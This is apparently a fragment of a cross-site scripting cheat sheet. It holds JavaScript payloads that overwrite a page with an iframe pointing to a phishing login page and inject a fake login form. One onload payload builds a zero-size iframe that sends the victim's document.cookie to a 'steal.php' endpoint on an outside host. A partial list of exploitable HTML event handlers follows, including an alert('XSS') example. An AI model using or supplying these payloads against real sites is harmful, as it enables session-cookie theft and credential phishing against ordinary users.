phishPage = "http://eyeced.domain.com/login1.html" document.body.innerHTML = '<iframe src="'+phishPage+'" height="100%" width="100%" border=0></iframe>';
document.body.innerHTML = '<form action="myspace.com/login.php"><input blah>' //you get the idea..
<body onload.._="x=document.createElement('iframe');x.setAttribute('src','http://site.com/steal.php?cook=+document.cookie');
x.style.width='0px';x.style.height='0px';document.body.appendChild(x);">
1. FSCommand() (attacker can use this when executed from within an embedded Flash object)
14. onBegin() (the onbegin event fires immediately when the element's timeline begins)
23. onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
24. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
25. onDataSetChanged() (fires when the data set exposed by a data source object changes)
26. onDataSetComplete() (fires to indicate that all data is available from the data source object)
29. onDrag() (requires that the user drags an object)
36. onEnd() (the onEnd event fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">)
39. onExit() (someone clicks on a link or presses the back button)
52. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
53. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)